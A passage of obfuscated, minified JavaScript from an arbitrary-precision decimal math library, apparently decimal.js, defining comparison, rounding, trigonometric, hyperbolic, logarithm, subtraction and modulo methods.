= _0x3fa47e / 0x3e8 | 0x0 : 0x1 == _0x36e183 ? _0x3fa47e = _0x3fa47e / 0x64 | 0x0 : 0x2 == _0x36e183 && (_0x3fa47e = _0x3fa47e / 0xa | 0x0), _0x4336f8 = (_0x530093 || _0x3ac1cf < 0x4) && 0x270f == _0x3fa47e || !_0x530093 && _0x3ac1cf > 0x3 && 0x1387 == _0x3fa47e) : _0x4336f8 = ((_0x530093 || _0x3ac1cf < 0x4) && _0x3fa47e + 0x1 == _0x165c8c || !_0x530093 && _0x3ac1cf > 0x3 && _0x3fa47e + 0x1 == _0x165c8c / 0x2) && (_0x12f7eb[_0xd07dee + 0x1] / _0x165c8c / 0x3e8 | 0x0) == _0x5ac844(0xa, _0x36e183 - 0x3) - 0x1, _0x4336f8; } function _0x1ec102(_0x8b5fe6, _0x20164d, _0x2ccc40) { for (var _0x1b0ce7, _0x16daac, _0x52ed07 = [0x0], _0x5c3c30 = 0x0, _0x22aa07 = _0x8b5fe6['length']; _0x5c3c30 < _0x22aa07;) { for (_0x16daac = _0x52ed07['length']; _0x16daac--;)_0x52ed07[_0x16daac] *= _0x20164d; for (_0x52ed07[0x0] += _0x440d3a['indexOf'](_0x8b5fe6['charAt'](_0x5c3c30++)), _0x1b0ce7 = 0x0; _0x1b0ce7 < _0x52ed07['length']; _0x1b0ce7++)_0x52ed07[_0x1b0ce7] > _0x2ccc40 - 0x1 && (void 0x0 === _0x52ed07[_0x1b0ce7 + 0x1] && (_0x52ed07[_0x1b0ce7 + 0x1] = 0x0), _0x52ed07[_0x1b0ce7 + 0x1] += _0x52ed07[_0x1b0ce7] / _0x2ccc40 | 0x0, _0x52ed07[_0x1b0ce7] %= _0x2ccc40); } return _0x52ed07['reverse'](); } _0x13d749['absoluteValue'] = _0x13d749['abs'] = function () { var _0x28b18f = new this['constructor'](this); return _0x28b18f['s'] < 0x0 && (_0x28b18f['s'] = 0x1), _0x3c9fea(_0x28b18f); }, _0x13d749['ceil'] = function () { return _0x3c9fea(new this['constructor'](this), this['e'] + 0x1, 0x2); }, _0x13d749['clampedTo'] = _0x13d749['clamp'] = function (_0x42ffe6, _0x4f3d1b) { var _0x18d226 = this, _0x52a7f2 = _0x18d226['constructor']; if (_0x42ffe6 = new _0x52a7f2(_0x42ffe6), _0x4f3d1b = new _0x52a7f2(_0x4f3d1b), !_0x42ffe6['s'] || !_0x4f3d1b['s']) return new _0x52a7f2(NaN); if (_0x42ffe6['gt'](_0x4f3d1b)) throw Error(_0x25bd3c + _0x4f3d1b); return _0x18d226['cmp'](_0x42ffe6) < 0x0 ? _0x42ffe6 : _0x18d226['cmp'](_0x4f3d1b) > 0x0 ? _0x4f3d1b : new _0x52a7f2(_0x18d226); }, _0x13d749['comparedTo'] = _0x13d749['cmp'] = function (_0x14c7a3) { var _0x495508, _0x5c805b, _0x2795e6, _0x47b358, _0x86a89a = this, _0x4fa960 = _0x86a89a['d'], _0x2143b8 = (_0x14c7a3 = new _0x86a89a['constructor'](_0x14c7a3))['d'], _0x26b278 = _0x86a89a['s'], _0x12e6c7 = _0x14c7a3['s']; if (!_0x4fa960 || !_0x2143b8) return _0x26b278 && _0x12e6c7 ? _0x26b278 !== _0x12e6c7 ? _0x26b278 : _0x4fa960 === _0x2143b8 ? 0x0 : !_0x4fa960 ^ _0x26b278 < 0x0 ? 0x1 : -0x1 : NaN; if (!_0x4fa960[0x0] || !_0x2143b8[0x0]) return _0x4fa960[0x0] ? _0x26b278 : _0x2143b8[0x0] ? -_0x12e6c7 : 0x0; if (_0x26b278 !== _0x12e6c7) return _0x26b278; if (_0x86a89a['e'] !== _0x14c7a3['e']) return _0x86a89a['e'] > _0x14c7a3['e'] ^ _0x26b278 < 0x0 ? 0x1 : -0x1; for (_0x495508 = 0x0, _0x5c805b = (_0x2795e6 = _0x4fa960['length']) < (_0x47b358 = _0x2143b8['length']) ? _0x2795e6 : _0x47b358; _0x495508 < _0x5c805b; ++_0x495508)if (_0x4fa960[_0x495508] !== _0x2143b8[_0x495508]) return _0x4fa960[_0x495508] > _0x2143b8[_0x495508] ^ _0x26b278 < 0x0 ? 0x1 : -0x1; return _0x2795e6 === _0x47b358 ? 0x0 : _0x2795e6 > _0x47b358 ^ _0x26b278 < 0x0 ? 0x1 : -0x1; }, _0x13d749['cosine'] = _0x13d749['cos'] = function () { var _0x4ab086, _0x5f4971, _0x3a7c4d = this, _0x37938e = _0x3a7c4d['constructor']; return _0x3a7c4d['d'] ? _0x3a7c4d['d'][0x0] ? (_0x4ab086 = _0x37938e['precision'], _0x5f4971 = _0x37938e['rounding'], _0x37938e['precision'] = _0x4ab086 + Math['max'](_0x3a7c4d['e'], _0x3a7c4d['sd']()) + _0x5bfb2e, _0x37938e['rounding'] = 0x1, _0x3a7c4d = function (_0x4a5c84, _0x92cf7f) { var _0xf87b04, _0x38e910, _0x1eb97b; if (_0x92cf7f['isZero']()) return _0x92cf7f; _0x38e910 = _0x92cf7f['d']['length'], _0x38e910 < 0x20 ? _0x1eb97b = (0x1 / _0x5060d7(0x4, _0xf87b04 = Math['ceil'](_0x38e910 / 0x3)))['toString']() : (_0xf87b04 = 0x10, _0x1eb97b = '2.3283064365386962890625e-10'), (_0x4a5c84['precision'] += _0xf87b04, _0x92cf7f = _0x6b3a98(_0x4a5c84, 0x1, _0x92cf7f['times'](_0x1eb97b), new _0x4a5c84(0x1))); for (var _0x4e9e36 = _0xf87b04; _0x4e9e36--;) { var _0x27c4ae = _0x92cf7f['times'](_0x92cf7f); _0x92cf7f = _0x27c4ae['times'](_0x27c4ae)['minus'](_0x27c4ae)['times'](0x8)['plus'](0x1); } return _0x4a5c84['precision'] -= _0xf87b04, _0x92cf7f; }(_0x37938e, _0x563e10(_0x37938e, _0x3a7c4d)), _0x37938e['precision'] = _0x4ab086, _0x37938e['rounding'] = _0x5f4971, _0x3c9fea(0x2 == _0x15b4cc || 0x3 == _0x15b4cc ? _0x3a7c4d['neg']() : _0x3a7c4d, _0x4ab086, _0x5f4971, !0x0)) : new _0x37938e(0x1) : new _0x37938e(NaN); }, _0x13d749['cubeRoot'] = _0x13d749['cbrt'] = function () { var _0x4bbbdf, _0x300e16, _0x5373ba, _0x31e40b, _0x198c6a, _0x44a115, _0xcd4be6, _0x1e350c, _0x25f883, _0x25a1e0, _0x277139 = this, _0x187b2d = _0x277139['constructor']; if (!_0x277139['isFinite']() || _0x277139['isZero']()) return new _0x187b2d(_0x277139); for (_0x636246 = !0x1, (_0x44a115 = _0x277139['s'] * _0x5ac844(_0x277139['s'] * _0x277139, 0x1 / 0x3)) && Math['abs'](_0x44a115) != 0x1 / 0x0 ? _0x31e40b = new _0x187b2d(_0x44a115['toString']()) : (_0x5373ba = _0x1d6276(_0x277139['d']), (_0x44a115 = ((_0x4bbbdf = _0x277139['e']) - _0x5373ba['length'] + 0x1) % 0x3) && (_0x5373ba += 0x1 == _0x44a115 || -0x2 == _0x44a115 ? '0' : '00'), _0x44a115 = _0x5ac844(_0x5373ba, 0x1 / 0x3), _0x4bbbdf = _0x4ffe16((_0x4bbbdf + 0x1) / 0x3) - (_0x4bbbdf % 0x3 == (_0x4bbbdf < 0x0 ? -0x1 : 0x2)), (_0x31e40b = new _0x187b2d(_0x5373ba = _0x44a115 == 0x1 / 0x0 ? '5e' + _0x4bbbdf : (_0x5373ba = _0x44a115['toExponential']())['slice'](0x0, _0x5373ba['indexOf']('e') + 0x1) + _0x4bbbdf))['s'] = _0x277139['s']), _0xcd4be6 = (_0x4bbbdf = _0x187b2d['precision']) + 0x3; ;)if (_0x25a1e0 = (_0x25f883 = (_0x1e350c = _0x31e40b)['times'](_0x1e350c)['times'](_0x1e350c))['plus'](_0x277139), _0x31e40b = _0x226822(_0x25a1e0['plus'](_0x277139)['times'](_0x1e350c), _0x25a1e0['plus'](_0x25f883), _0xcd4be6 + 0x2, 0x1), _0x1d6276(_0x1e350c['d'])['slice'](0x0, _0xcd4be6) === (_0x5373ba = _0x1d6276(_0x31e40b['d']))['slice'](0x0, _0xcd4be6)) { if ('9999' != (_0x5373ba = _0x5373ba['slice'](_0xcd4be6 - 0x3, _0xcd4be6 + 0x1)) && (_0x198c6a || '4999' != _0x5373ba)) { +_0x5373ba && (+_0x5373ba['slice'](0x1) || '5' != _0x5373ba['charAt'](0x0)) || (_0x3c9fea(_0x31e40b, _0x4bbbdf + 0x1, 0x1), _0x300e16 = !_0x31e40b['times'](_0x31e40b)['times'](_0x31e40b)['eq'](_0x277139)); break; } if (!_0x198c6a && (_0x3c9fea(_0x1e350c, _0x4bbbdf + 0x1, 0x0), _0x1e350c['times'](_0x1e350c)['times'](_0x1e350c)['eq'](_0x277139))) { _0x31e40b = _0x1e350c; break; } _0xcd4be6 += 0x4, _0x198c6a = 0x1; } return _0x636246 = !0x0, _0x3c9fea(_0x31e40b, _0x4bbbdf, _0x187b2d['rounding'], _0x300e16); }, _0x13d749['decimalPlaces'] = _0x13d749['dp'] = function () { var _0xc32caf, _0x1e4f85 = this['d'], _0x336b8e = NaN; if (_0x1e4f85) { if (_0x336b8e = ((_0xc32caf = _0x1e4f85['length'] - 0x1) - _0x4ffe16(this['e'] / _0x5bfb2e)) * _0x5bfb2e, _0xc32caf = _0x1e4f85[_0xc32caf]) { for (; _0xc32caf % 0xa == 0x0; _0xc32caf /= 0xa)_0x336b8e--; } _0x336b8e < 0x0 && (_0x336b8e = 0x0); } return _0x336b8e; }, _0x13d749['dividedBy'] = _0x13d749['div'] = function (_0x4a7154) { return _0x226822(this, new this['constructor'](_0x4a7154)); }, _0x13d749['dividedToIntegerBy'] = _0x13d749['divToInt'] = function (_0x2ea15b) { var _0x4d5d7d = this['constructor']; return _0x3c9fea(_0x226822(this, new _0x4d5d7d(_0x2ea15b), 0x0, 0x1, 0x1), _0x4d5d7d['precision'], _0x4d5d7d['rounding']); }, _0x13d749['equals'] = _0x13d749['eq'] = function (_0x2f58fd) { return 0x0 === this['cmp'](_0x2f58fd); }, _0x13d749['floor'] = function () { return _0x3c9fea(new this['constructor'](this), this['e'] + 0x1, 0x3); }, _0x13d749['greaterThan'] = _0x13d749['gt'] = function (_0x30c931) { return this['cmp'](_0x30c931) > 0x0; }, _0x13d749['greaterThanOrEqualTo'] = _0x13d749['gte'] = function (_0x236862) { var _0x2a0936 = this['cmp'](_0x236862); return 0x1 == _0x2a0936 || 0x0 === _0x2a0936; }, _0x13d749['hyperbolicCosine'] = _0x13d749['cosh'] = function () { var _0x3a95ff, _0x24210c, _0x2837af, _0x3aafd9, _0x502a4c, _0x5706a3 = this, _0x5ad989 = _0x5706a3['constructor'], _0x397303 = new _0x5ad989(0x1); if (!_0x5706a3['isFinite']()) return new _0x5ad989(_0x5706a3['s'] ? 0x1 / 0x0 : NaN); if (_0x5706a3['isZero']()) return _0x397303; _0x2837af = _0x5ad989['precision'], _0x3aafd9 = _0x5ad989['rounding'], _0x5ad989['precision'] = _0x2837af + Math['max'](_0x5706a3['e'], _0x5706a3['sd']()) + 0x4, _0x5ad989['rounding'] = 0x1, (_0x502a4c = _0x5706a3['d']['length']) < 0x20 ? _0x24210c = (0x1 / _0x5060d7(0x4, _0x3a95ff = Math['ceil'](_0x502a4c / 0x3)))['toString']() : (_0x3a95ff = 0x10, _0x24210c = '2.3283064365386962890625e-10'), _0x5706a3 = _0x6b3a98(_0x5ad989, 0x1, _0x5706a3['times'](_0x24210c), new _0x5ad989(0x1), !0x0); for (var _0x56c727, _0x3eb62c = _0x3a95ff, _0x4e4714 = new _0x5ad989(0x8); _0x3eb62c--;)_0x56c727 = _0x5706a3['times'](_0x5706a3), _0x5706a3 = _0x397303['minus'](_0x56c727['times'](_0x4e4714['minus'](_0x56c727['times'](_0x4e4714)))); return _0x3c9fea(_0x5706a3, _0x5ad989['precision'] = _0x2837af, _0x5ad989['rounding'] = _0x3aafd9, !0x0); }, _0x13d749['hyperbolicSine'] = _0x13d749['sinh'] = function () { var _0x2f8a34, _0x2a1815, _0x1fa0e8, _0x37ee8d, _0x32946f = this, _0x30d415 = _0x32946f['constructor']; if (!_0x32946f['isFinite']() || _0x32946f['isZero']()) return new _0x30d415(_0x32946f); if (_0x2a1815 = _0x30d415['precision'], _0x1fa0e8 = _0x30d415['rounding'], _0x30d415['precision'] = _0x2a1815 + Math['max'](_0x32946f['e'], _0x32946f['sd']()) + 0x4, _0x30d415['rounding'] = 0x1, (_0x37ee8d = _0x32946f['d']['length']) < 0x3) _0x32946f = _0x6b3a98(_0x30d415, 0x2, _0x32946f, _0x32946f, !0x0); else { _0x2f8a34 = (_0x2f8a34 = 1.4 * Math['sqrt'](_0x37ee8d)) > 0x10 ? 0x10 : 0x0 | _0x2f8a34, _0x32946f = _0x6b3a98(_0x30d415, 0x2, _0x32946f = _0x32946f['times'](0x1 / _0x5060d7(0x5, _0x2f8a34)), _0x32946f, !0x0); for (var _0x2454d9, _0x24045a = new _0x30d415(0x5), _0x571712 = new _0x30d415(0x10), _0x36f033 = new _0x30d415(0x14); _0x2f8a34--;)_0x2454d9 = _0x32946f['times'](_0x32946f), _0x32946f = _0x32946f['times'](_0x24045a['plus'](_0x2454d9['times'](_0x571712['times'](_0x2454d9)['plus'](_0x36f033)))); } return _0x30d415['precision'] = _0x2a1815, _0x30d415['rounding'] = _0x1fa0e8, _0x3c9fea(_0x32946f, _0x2a1815, _0x1fa0e8, !0x0); }, _0x13d749['hyperbolicTangent'] = _0x13d749['tanh'] = function () { var _0x4f7f43, _0xee9ab5, _0x53eb76 = this, _0x1d4ab1 = _0x53eb76['constructor']; return _0x53eb76['isFinite']() ? _0x53eb76['isZero']() ? new _0x1d4ab1(_0x53eb76) : (_0x4f7f43 = _0x1d4ab1['precision'], _0xee9ab5 = _0x1d4ab1['rounding'], _0x1d4ab1['precision'] = _0x4f7f43 + 0x7, _0x1d4ab1['rounding'] = 0x1, _0x226822(_0x53eb76['sinh'](), _0x53eb76['cosh'](), _0x1d4ab1['precision'] = _0x4f7f43, _0x1d4ab1['rounding'] = _0xee9ab5)) : new _0x1d4ab1(_0x53eb76['s']); }, _0x13d749['inverseCosine'] = _0x13d749['acos'] = function () { var _0xe9869f, _0xd5d545 = this, _0x5b9975 = _0xd5d545['constructor'], _0x5876ca = _0xd5d545['abs']()['cmp'](0x1), _0x168e9d = _0x5b9975['precision'], _0x31b090 = _0x5b9975['rounding']; return -0x1 !== _0x5876ca ? 0x0 === _0x5876ca ? _0xd5d545['isNeg']() ? _0x2d743f(_0x5b9975, _0x168e9d, _0x31b090) : new _0x5b9975(0x0) : new _0x5b9975(NaN) : _0xd5d545['isZero']() ? _0x2d743f(_0x5b9975, _0x168e9d + 0x4, _0x31b090)['times'](0.5) : (_0x5b9975['precision'] = _0x168e9d + 0x6, _0x5b9975['rounding'] = 0x1, _0xd5d545 = _0xd5d545['asin'](), _0xe9869f = _0x2d743f(_0x5b9975, _0x168e9d + 0x4, _0x31b090)['times'](0.5), _0x5b9975['precision'] = _0x168e9d, _0x5b9975['rounding'] = _0x31b090, _0xe9869f['minus'](_0xd5d545)); }, _0x13d749['inverseHyperbolicCosine'] = _0x13d749['acosh'] = function () { var _0x261137, _0x381caa, _0xf2b73e = this, _0xf7079 = _0xf2b73e['constructor']; return _0xf2b73e['lte'](0x1) ? new _0xf7079(_0xf2b73e['eq'](0x1) ? 0x0 : NaN) : _0xf2b73e['isFinite']() ? (_0x261137 = _0xf7079['precision'], _0x381caa = _0xf7079['rounding'], _0xf7079['precision'] = _0x261137 + Math['max'](Math['abs'](_0xf2b73e['e']), _0xf2b73e['sd']()) + 0x4, _0xf7079['rounding'] = 0x1, _0x636246 = !0x1, _0xf2b73e = _0xf2b73e['times'](_0xf2b73e)['minus'](0x1)['sqrt']()['plus'](_0xf2b73e), _0x636246 = !0x0, _0xf7079['precision'] = _0x261137, _0xf7079['rounding'] = _0x381caa, _0xf2b73e['ln']()) : new _0xf7079(_0xf2b73e); }, _0x13d749['inverseHyperbolicSine'] = _0x13d749['asinh'] = function () { var _0x1c4bab, _0x210695, _0x5d1b3b = this, _0x5bc02a = _0x5d1b3b['constructor']; return !_0x5d1b3b['isFinite']() || _0x5d1b3b['isZero']() ? new _0x5bc02a(_0x5d1b3b) : (_0x1c4bab = _0x5bc02a['precision'], _0x210695 = _0x5bc02a['rounding'], _0x5bc02a['precision'] = _0x1c4bab + 0x2 * Math['max'](Math['abs'](_0x5d1b3b['e']), _0x5d1b3b['sd']()) + 0x6, _0x5bc02a['rounding'] = 0x1, _0x636246 = !0x1, _0x5d1b3b = _0x5d1b3b['times'](_0x5d1b3b)['plus'](0x1)['sqrt']()['plus'](_0x5d1b3b), _0x636246 = !0x0, _0x5bc02a['precision'] = _0x1c4bab, _0x5bc02a['rounding'] = _0x210695, _0x5d1b3b['ln']()); }, _0x13d749['inverseHyperbolicTangent'] = _0x13d749['atanh'] = function () { var _0x3589b7, _0x57dbc8, _0x2aa70f, _0x29f7de, _0x548d31 = this, _0x246732 = _0x548d31['constructor']; return _0x548d31['isFinite']() ? _0x548d31['e'] >= 0x0 ? new _0x246732(_0x548d31['abs']()['eq'](0x1) ? _0x548d31['s'] / 0x0 : _0x548d31['isZero']() ? _0x548d31 : NaN) : (_0x3589b7 = _0x246732['precision'], _0x57dbc8 = _0x246732['rounding'], _0x29f7de = _0x548d31['sd'](), Math['max'](_0x29f7de, _0x3589b7) < 0x2 * -_0x548d31['e'] - 0x1 ? _0x3c9fea(new _0x246732(_0x548d31), _0x3589b7, _0x57dbc8, !0x0) : (_0x246732['precision'] = _0x2aa70f = _0x29f7de - _0x548d31['e'], _0x548d31 = _0x226822(_0x548d31['plus'](0x1), new _0x246732(0x1)['minus'](_0x548d31), _0x2aa70f + _0x3589b7, 0x1), _0x246732['precision'] = _0x3589b7 + 0x4, _0x246732['rounding'] = 0x1, _0x548d31 = _0x548d31['ln'](), _0x246732['precision'] = _0x3589b7, _0x246732['rounding'] = _0x57dbc8, _0x548d31['times'](0.5))) : new _0x246732(NaN); }, _0x13d749['inverseSine'] = _0x13d749['asin'] = function () { var _0x5af86c, _0x1f20fc, _0x26da90, _0x216b00, _0x16ec08 = this, _0x410eed = _0x16ec08['constructor']; return _0x16ec08['isZero']() ? new _0x410eed(_0x16ec08) : (_0x1f20fc = _0x16ec08['abs']()['cmp'](0x1), _0x26da90 = _0x410eed['precision'], _0x216b00 = _0x410eed['rounding'], -0x1 !== _0x1f20fc ? 0x0 === _0x1f20fc ? ((_0x5af86c = _0x2d743f(_0x410eed, _0x26da90 + 0x4, _0x216b00)['times'](0.5))['s'] = _0x16ec08['s'], _0x5af86c) : new _0x410eed(NaN) : (_0x410eed['precision'] = _0x26da90 + 0x6, _0x410eed['rounding'] = 0x1, _0x16ec08 = _0x16ec08['div'](new _0x410eed(0x1)['minus'](_0x16ec08['times'](_0x16ec08))['sqrt']()['plus'](0x1))['atan'](), _0x410eed['precision'] = _0x26da90, _0x410eed['rounding'] = _0x216b00, _0x16ec08['times'](0x2))); }, _0x13d749['inverseTangent'] = _0x13d749['atan'] = function () { var _0xc4de2f, _0x3de44b, _0x5608a3, _0x4ad9d6, _0x1138e6, _0x475b60, _0xdfc71d, _0x3a02d5, _0x2c6ff9, _0x25f388 = this, _0x26bb01 = _0x25f388['constructor'], _0x468f88 = _0x26bb01['precision'], _0x131c72 = _0x26bb01['rounding']; if (_0x25f388['isFinite']()) { if (_0x25f388['isZero']()) return new _0x26bb01(_0x25f388); if (_0x25f388['abs']()['eq'](0x1) && _0x468f88 + 0x4 <= _0x513453) return (_0xdfc71d = _0x2d743f(_0x26bb01, _0x468f88 + 0x4, _0x131c72)['times'](0.25))['s'] = _0x25f388['s'], _0xdfc71d; } else { if (!_0x25f388['s']) return new _0x26bb01(NaN); if (_0x468f88 + 0x4 <= _0x513453) return (_0xdfc71d = _0x2d743f(_0x26bb01, _0x468f88 + 0x4, _0x131c72)['times'](0.5))['s'] = _0x25f388['s'], _0xdfc71d; } for (_0x26bb01['precision'] = _0x3a02d5 = _0x468f88 + 0xa, _0x26bb01['rounding'] = 0x1, _0xc4de2f = _0x5608a3 = Math['min'](0x1c, _0x3a02d5 / _0x5bfb2e + 0x2 | 0x0); _0xc4de2f; --_0xc4de2f)_0x25f388 = _0x25f388['div'](_0x25f388['times'](_0x25f388)['plus'](0x1)['sqrt']()['plus'](0x1)); for (_0x636246 = !0x1, _0x3de44b = Math['ceil'](_0x3a02d5 / _0x5bfb2e), _0x4ad9d6 = 0x1, _0x2c6ff9 = _0x25f388['times'](_0x25f388), _0xdfc71d = new _0x26bb01(_0x25f388), _0x1138e6 = _0x25f388; -0x1 !== _0xc4de2f;)if (_0x1138e6 = _0x1138e6['times'](_0x2c6ff9), _0x475b60 = _0xdfc71d['minus'](_0x1138e6['div'](_0x4ad9d6 += 0x2)), _0x1138e6 = _0x1138e6['times'](_0x2c6ff9), void 0x0 !== (_0xdfc71d = _0x475b60['plus'](_0x1138e6['div'](_0x4ad9d6 += 0x2)))['d'][_0x3de44b]) { for (_0xc4de2f = _0x3de44b; _0xdfc71d['d'][_0xc4de2f] === _0x475b60['d'][_0xc4de2f] && _0xc4de2f--;); } return _0x5608a3 && (_0xdfc71d = _0xdfc71d['times'](0x2 << _0x5608a3 - 0x1)), _0x636246 = !0x0, _0x3c9fea(_0xdfc71d, _0x26bb01['precision'] = _0x468f88, _0x26bb01['rounding'] = _0x131c72, !0x0); }, _0x13d749['isFinite'] = function () { return !!this['d']; }, _0x13d749['isInteger'] = _0x13d749['isInt'] = function () { return !!this['d'] && _0x4ffe16(this['e'] / _0x5bfb2e) > this['d']['length'] - 0x2; }, _0x13d749['isNaN'] = function () { return !this['s']; }, _0x13d749['isNegative'] = _0x13d749['isNeg'] = function () { return this['s'] < 0x0; }, _0x13d749['isPositive'] = _0x13d749['isPos'] = function () { return this['s'] > 0x0; }, _0x13d749['isZero'] = function () { return !!this['d'] && 0x0 === this['d'][0x0]; }, _0x13d749['lessThan'] = _0x13d749['lt'] = function (_0x36dfa4) { return this['cmp'](_0x36dfa4) < 0x0; }, _0x13d749['lessThanOrEqualTo'] = _0x13d749['lte'] = function (_0x308486) { return this['cmp'](_0x308486) < 0x1; }, _0x13d749['logarithm'] = _0x13d749['log'] = function (_0x161173) { var _0x53abf4, _0x3e9b33, _0x149cc9, _0x5e6428, _0x235daf, _0x1b1b33, _0x51a998, _0x515c80, _0x50840c = this, _0x4853c9 = _0x50840c['constructor'], _0x821549 = _0x4853c9['precision'], _0x122394 = _0x4853c9['rounding']; if (null == _0x161173) _0x161173 = new _0x4853c9(0xa), _0x53abf4 = !0x0; else { if (_0x3e9b33 = (_0x161173 = new _0x4853c9(_0x161173))['d'], _0x161173['s'] < 0x0 || !_0x3e9b33 || !_0x3e9b33[0x0] || _0x161173['eq'](0x1)) return new _0x4853c9(NaN); _0x53abf4 = _0x161173['eq'](0xa); } if (_0x3e9b33 = _0x50840c['d'], _0x50840c['s'] < 0x0 || !_0x3e9b33 || !_0x3e9b33[0x0] || _0x50840c['eq'](0x1)) return new _0x4853c9(_0x3e9b33 && !_0x3e9b33[0x0] ? -0x1 / 0x0 : 0x1 != _0x50840c['s'] ? NaN : _0x3e9b33 ? 0x0 : 0x1 / 0x0); if (_0x53abf4) { if (_0x3e9b33['length'] > 0x1) _0x235daf = !0x0; else { for (_0x5e6428 = _0x3e9b33[0x0]; _0x5e6428 % 0xa == 0x0;)_0x5e6428 /= 0xa; _0x235daf = 0x1 !== _0x5e6428; } } if (_0x636246 = !0x1, _0x1b1b33 = _0x42464e(_0x50840c, _0x51a998 = _0x821549 + 0x5), _0x149cc9 = _0x53abf4 ? _0x59d337(_0x4853c9, _0x51a998 + 0xa) : _0x42464e(_0x161173, _0x51a998), _0x6d88b9((_0x515c80 = _0x226822(_0x1b1b33, _0x149cc9, _0x51a998, 0x1))['d'], _0x5e6428 = _0x821549, _0x122394)) do { if (_0x1b1b33 = _0x42464e(_0x50840c, _0x51a998 += 0xa), _0x149cc9 = _0x53abf4 ? _0x59d337(_0x4853c9, _0x51a998 + 0xa) : _0x42464e(_0x161173, _0x51a998), _0x515c80 = _0x226822(_0x1b1b33, _0x149cc9, _0x51a998, 0x1), !_0x235daf) { +_0x1d6276(_0x515c80['d'])['slice'](_0x5e6428 + 0x1, _0x5e6428 + 0xf) + 0x1 == 0x5af3107a4000 && (_0x515c80 = _0x3c9fea(_0x515c80, _0x821549 + 0x1, 0x0)); break; } } while (_0x6d88b9(_0x515c80['d'], _0x5e6428 += 0xa, _0x122394)); return _0x636246 = !0x0, _0x3c9fea(_0x515c80, _0x821549, _0x122394); }, _0x13d749['minus'] = _0x13d749['sub'] = function (_0x475b8d) { var _0x3a3b0d, _0x18fb25, _0x88656e, _0x4b2fe7, _0x5d6781, _0x13a731, _0x564b0a, _0x4a5688, _0x2f7f4c, _0x503e8, _0x1e44a5, _0x7f73a4, _0x4a6183 = this, _0x3d118b = _0x4a6183['constructor']; if (_0x475b8d = new _0x3d118b(_0x475b8d), !_0x4a6183['d'] || !_0x475b8d['d']) return _0x4a6183['s'] && _0x475b8d['s'] ? _0x4a6183['d'] ? _0x475b8d['s'] = -_0x475b8d['s'] : _0x475b8d = new _0x3d118b(_0x475b8d['d'] || _0x4a6183['s'] !== _0x475b8d['s'] ? _0x4a6183 : NaN) : _0x475b8d = new _0x3d118b(NaN), _0x475b8d; if (_0x4a6183['s'] != _0x475b8d['s']) return _0x475b8d['s'] = -_0x475b8d['s'], _0x4a6183['plus'](_0x475b8d); if (_0x2f7f4c = _0x4a6183['d'], _0x7f73a4 = _0x475b8d['d'], _0x564b0a = _0x3d118b['precision'], _0x4a5688 = _0x3d118b['rounding'], !_0x2f7f4c[0x0] || !_0x7f73a4[0x0]) { if (_0x7f73a4[0x0]) _0x475b8d['s'] = -_0x475b8d['s']; else { if (!_0x2f7f4c[0x0]) return new _0x3d118b(0x3 === _0x4a5688 ? -0x0 : 0x0); _0x475b8d = new _0x3d118b(_0x4a6183); } return _0x636246 ? _0x3c9fea(_0x475b8d, _0x564b0a, _0x4a5688) : _0x475b8d; } if (_0x18fb25 = _0x4ffe16(_0x475b8d['e'] / _0x5bfb2e), _0x503e8 = _0x4ffe16(_0x4a6183['e'] / _0x5bfb2e), _0x2f7f4c = _0x2f7f4c['slice'](), _0x5d6781 = _0x503e8 - _0x18fb25) { for ((_0x1e44a5 = _0x5d6781 < 0x0) ? (_0x3a3b0d = _0x2f7f4c, _0x5d6781 = -_0x5d6781, _0x13a731 = _0x7f73a4['length']) : (_0x3a3b0d = _0x7f73a4, _0x18fb25 = _0x503e8, _0x13a731 = _0x2f7f4c['length']), _0x5d6781 > (_0x88656e = Math['max'](Math['ceil'](_0x564b0a / _0x5bfb2e), _0x13a731) + 0x2) && (_0x5d6781 = _0x88656e, _0x3a3b0d['length'] = 0x1), _0x3a3b0d['reverse'](), _0x88656e = _0x5d6781; _0x88656e--;)_0x3a3b0d['push'](0x0); _0x3a3b0d['reverse'](); } else { for ((_0x1e44a5 = (_0x88656e = _0x2f7f4c['length']) < (_0x13a731 = _0x7f73a4['length'])) && (_0x13a731 = _0x88656e), _0x88656e = 0x0; _0x88656e < _0x13a731; _0x88656e++)if (_0x2f7f4c[_0x88656e] != _0x7f73a4[_0x88656e]) { _0x1e44a5 = _0x2f7f4c[_0x88656e] < _0x7f73a4[_0x88656e]; break; } _0x5d6781 = 0x0; } for (_0x1e44a5 && (_0x3a3b0d = _0x2f7f4c, _0x2f7f4c = _0x7f73a4, _0x7f73a4 = _0x3a3b0d, _0x475b8d['s'] = -_0x475b8d['s']), _0x13a731 = _0x2f7f4c['length'], _0x88656e = _0x7f73a4['length'] - _0x13a731; _0x88656e > 0x0; --_0x88656e)_0x2f7f4c[_0x13a731++] = 0x0; for (_0x88656e = _0x7f73a4['length']; _0x88656e > _0x5d6781;) { if (_0x2f7f4c[--_0x88656e] < _0x7f73a4[_0x88656e]) { for (_0x4b2fe7 = _0x88656e; _0x4b2fe7 && 0x0 === _0x2f7f4c[--_0x4b2fe7];)_0x2f7f4c[_0x4b2fe7] = _0x3ec071 - 0x1; --_0x2f7f4c[_0x4b2fe7], _0x2f7f4c[_0x88656e] += _0x3ec071; } _0x2f7f4c[_0x88656e] -= _0x7f73a4[_0x88656e]; } for (; 0x0 === _0x2f7f4c[--_0x13a731];)_0x2f7f4c['pop'](); for (; 0x0 === _0x2f7f4c[0x0]; _0x2f7f4c['shift']())--_0x18fb25; return _0x2f7f4c[0x0] ? (_0x475b8d['d'] = _0x2f7f4c, _0x475b8d['e'] = _0x47f701(_0x2f7f4c, _0x18fb25), _0x636246 ? _0x3c9fea(_0x475b8d, _0x564b0a, _0x4a5688) : _0x475b8d) : new _0x3d118b(0x3 === _0x4a5688 ? -0x0 : 0x0); }, _0x13d749['modulo'] = _0x13d749['mod'] = function (_0x2fcb46) { var _0x9987e0, _0x391edb = this, _0x1af834 = _0x391edb['constructor']; return _0x2fcb46 = new _0x1af834(_0x2fcb46), !_0x391edb['d'] || !_0x2fcb46['s'] || _0x2fcb46['d'] && !_0x2fcb46['d'][0x0] ? new _0x1af834(NaN) : !_0x2fcb46['d'] || _0x391edb['d'] && !_0x391edb['d'][0x0] ? _0x3c9fea(new _0x1af834(_0x391edb), _0x1af834['precision'], _0x1af834['rounding']) : (_0x636246 = !0x1, 0x9 == _0x1af834['modulo'] ? (_0x9987e0 = _0x226822(_0x391edb, _0x2fcb46['abs'](), 0x0, 0x3, 0x1))['s'] *= _0x2fcb46['s'] : _0x9987e0 = _0x226822(_0x391edb, _0x2fcb46, 0x0, _0x1af834['modulo'], 0x1), _0x9987e0 = _0x9987e0['times'](_0x2fcb46), _0x636246 = !0x0, 